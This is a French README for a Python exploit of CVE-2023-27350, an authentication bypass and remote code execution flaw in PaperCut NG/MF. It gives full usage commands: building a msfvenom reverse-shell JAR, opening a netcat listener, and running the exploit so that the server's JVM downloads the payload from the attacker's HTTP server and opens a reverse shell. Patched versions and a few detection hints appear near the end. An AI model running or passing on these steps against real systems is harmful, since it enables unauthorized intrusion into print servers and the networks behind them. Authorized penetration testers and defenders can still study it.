Cet exploit est basé sur CVE-2023-27350 et a été construit sur l'exploit original par horizon3ai et le module Metasploit.
Exploit Python autonome pour la vulnérabilité critique de contournement d'authentification et d'exécution de code à distance dans PaperCut NG/MF. CVSS 9.8.
CVE-2023-27350 affecte PaperCut NG et MF dans les versions antérieures à 20.1.7, 21.2.11 et 22.0.9. La faille permet à un attaquant non authentifié d'accéder au point de terminaison /app?service=page/SetupCompleted — une page de configuration destinée à n'être accessible que lors de l'installation initiale — et d'obtenir une session administrative valide sans aucune information d'identification.
Avec un accès administrateur, l'attaquant peut activer le mécanisme de script d'impression de PaperCut et injecter du code arbitraire exécuté par la JVM du serveur, conduisant à une RCE complète dans le contexte de l'utilisateur du service.
| Branche | Version corrigée |
|---|
| 20.x | 20.1.7 |
| 21.x | 21.2.11 |
| 22.x | 22.0.9 |
Les versions 18.x et antérieures n'ont reçu aucun correctif officiel.
Cet exploit a été développé à partir de l'analyse de deux implémentations publiques :
Runtime.exec() avec une chaîne simple pour exécuter des commandesRuntime.exec(String) ne traite pas les métacaractères du shell (>&, |, 0>&1), rendant les charges utiles de reverse shell inefficaces. Le script code également en dur l'ID de l'imprimante (l1001) et vérifie les chaînes de succès en anglais uniquement, échouant sur les instances non anglaises.exploit/multi/http/papercut_ng_rceURLClassLoader, évitant toute dépendance shell.nc.Python 3.x
requests
msfvenom (part of Metasploit Framework)
nc (netcat)
pip install requests
1. Générer la charge utile JAR
msfvenom -p java/shell_reverse_tcp \
LHOST=<YOUR_IP> LPORT=<SHELL_PORT> \
-f jar -o payload.jar
2. Démarrer un écouteur
nc -lvnp <SHELL_PORT>
3. Exécuter l'exploit
python exploit.py \
-u http://<TARGET>:9191 \
-j payload.jar \
-lh <YOUR_IP> \
-lp <HTTP_PORT> \
-rp <SHELL_PORT>
Exemple :
python exploit.py \
-u http://192.168.1.100:9191 \
-j payload.jar \
-lh 192.168.1.10 \
-lp 9090 \
-rp 4444
| Paramètre | Description | Valeur par défaut |
|---|---|---|
-u / --url | URL de base de PaperCut | requis |
-j / --jar | Chemin vers payload.jar | requis |
-lh / --lhost | Votre IP (la cible se connectera ici) | requis |
-lp / --lport | Port HTTP pour servir le JAR | 9090 |
-rp / --rport | Port du reverse shell | 4444 |
1. Auth bypass via /app?service=page/SetupCompleted
↓
2. Obtain admin JSESSIONID without credentials
↓
3. Select [Template Printer] (l1001)
↓
4. Inject RhinoJS script into the print script field
↓
5. Script creates a URLClassLoader pointing to our HTTP server
↓
6. PaperCut JVM downloads and executes payload.jar
↓
7. Reverse shell
/app?service=page/SetupCompleted sans session préalableprint-and-device.script.enabled et print.script.sandboxed (versions >= 19)URLClassLoader avec une URL externe dans les logs JVMCet exploit est fourni à des fins éducatives et pour une utilisation autorisée uniquement (tests d'intrusion, CTF, environnements de laboratoire). L'utilisation non autorisée contre des systèmes sans permission explicite est illégale. L'auteur n'est pas responsable de toute mauvaise utilisation.